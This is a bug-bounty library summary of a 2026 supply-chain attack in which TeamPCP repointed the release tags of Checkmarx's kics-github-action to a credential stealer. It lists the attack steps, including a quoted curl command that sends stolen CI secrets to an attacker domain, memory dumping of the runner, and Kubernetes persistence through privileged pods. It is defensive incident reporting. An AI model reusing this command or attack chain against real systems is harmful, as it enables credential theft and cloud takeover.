# KICS GitHub Action Compromised: TeamPCP Strikes Again in Supply Chain Attack

TeamPCP compromised all 35 tags of Checkmarx's kics-github-action, serving credential-stealing malware that exfiltrated CI secrets and deployed Kubernetes persistence.

- Payout: Real-world hack
- Severity: critical
- Program: Checkmarx KICS
- Credited: Wiz Research
- Disclosed: 2026-03-23
- Write-up quality: 8/10
- Original: https://www.wiz.io/blog/teampcp-attack-kics-github-action
- Library page: https://bugbountylibrary.com/r/blog%3Awiz-io-blog-teampcp-attack-kics-github-action
- Tags: domain:cloud impact:data-leak impact:internal-access kind:incident platform:threat-intel sev:critical tech:github-actions tech:kubernetes technique:source-review vuln:secrets-leak

**Target:** GitHub Action (kics-github-action) and OpenVSX VS Code extensions
**Root cause:** Attacker used a compromised service account (cx-plugins-releases) to repoint all 35 release tags to imposter commits on a fork containing setup.sh, which action.yaml invoked via a 'Prepare Environment' event.
**Steps:**
1. Attacker stages imposter commits on a fork adding `setup.sh` and modifying `action.yaml` to run it on a Prepare Environment event
2. Compromised identity cx-plugins-releases force-updates all 35 tags to the staged commit SHAs
3. Victim workflow pins a tag (e.g. `v2.1.20`) and runs the action, executing `setup.sh`
4. `setup.sh` harvests env vars, SSH keys, dumps Runner.Worker memory via `/proc/[PID]/mem`, queries AWS IMDSv1/v2 and Kubernetes API
5. Secrets bundled, AES-256-CBC encrypted with random session key, session key RSA-encrypted, packed into `tpcp.tar.gz`
6. Exfil via `curl -X POST https://checkmarx.zone -H 'X-Filename: tpcp.tar.gz' --data-binary @bundle`; fallback creates `docs-tpcp` repo and uploads tarball as Release asset
7. On Kubernetes, uses service account token to list `/api/v1/nodes` and deploys privileged pods in `kube-system` running `sysmon.py`; on Linux writes `~/.config/sysmon/sysmon.py` with systemd unit
**How found:** Wiz correlated the operation to TeamPCP via shared RSA public key and naming conventions; a tip from researcher Adnan Khan led to confirming compromised OpenVSX extensions; a user-filed GitHub issue alerted maintainers to the action compromise.
**Exploitation:** Supply-chain compromise of a widely used IaC scanner action: any CI workflow pinning a tag during the 12:58–16:50 UTC window executed the stealer, yielding cloud/CI credentials and enabling follow-on payloads and cluster-wide persistence via privileged pods.
**Escalation:** Credential theft escalates to cloud account takeover via IMDS and to cluster compromise via privileged pod deployment across all nodes; persistence survives CI container deletion via systemd/Kubernetes.
**Insight:** Release tags are mutable — attackers with any write-capable identity can repoint every tag at once; audit CI logs for tag-pinned actions and hunt for fallback exfil repos (e.g. `docs-tpcp`) and unexpected privileged pods in `kube-system`.